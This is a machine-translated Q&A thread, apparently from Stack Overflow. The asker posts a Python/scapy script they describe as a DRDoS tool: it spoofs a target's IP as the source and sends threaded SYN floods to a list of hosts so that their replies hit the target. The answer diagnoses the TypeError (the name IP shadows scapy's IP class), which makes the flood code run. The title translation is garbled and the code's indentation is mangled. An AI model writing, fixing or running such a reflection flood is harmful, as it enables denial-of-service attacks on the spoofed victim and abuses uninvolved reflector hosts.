2013-06-01 3 views
1

Я пытаюсь сделать программу DRDOS в Python, но я получаюPython TypeError: «ул» объект не вызываемая

TypeError: 'str' object is not callable

Вот мой код

import os 
import sys 
import threading 
from scapy.all import * 
from time import sleep 

if os.getgid()!=0: 
print "Cannot send SYN packets without root, exiting..." 
exit(1) 

list=raw_input("List of live IPs: ") 
target=raw_input("Target: ") 
port=int(raw_input("Port: ")) 

print "Flooding, press ^Z to stop." 

class SYNFlood(threading.Thread): 
def run(self): 
    c=0 
    with open(list, "r") as f: 
     IP = f.readline() 
     a=IP(dst=IP, src=target, ttl=255)/TCP(flags="S", sport=RandShort(), dport=port) 
     send(a, verbose=0) 
     sys.stdout.write('.') 
     c=c+1 
    print "Done, sent " + str(c) + " packets." 
    exit(0) 

for x in range(10): 
t = SYNFlood() 
t.start() 

я сделал некоторые исследования и нашел, что это от переменной, которая имеет имя «str», я не нашел этого. Интересно.

ответ

7

Эти линии здесь:

IP = f.readline() 
a=IP(dst=IP, src=target, ttl=255)/TCP(flags="S", sport=RandShort(), dport=port) 

содержат проблему, IP является строкой, и вы пытаетесь вызвать его как функцию.

IP(dst=IP, src=target, ttl=255) 

Возможно, вы должны выбрать другое имя переменной, чтобы не мешать другим пространствам имен.

Кроме того, эта линия:

list=raw_input("List of live IPs: ") 

мешает вам использовать встроенную функцию list, пожалуйста, пересмотреть это имя.

+0

Это сработало, спасибо! – D4zk1tty

+0

@ D4zk1tty, вы должны, вероятно, пометить вопрос, как он решил тогда. – astreal

Смежные вопросы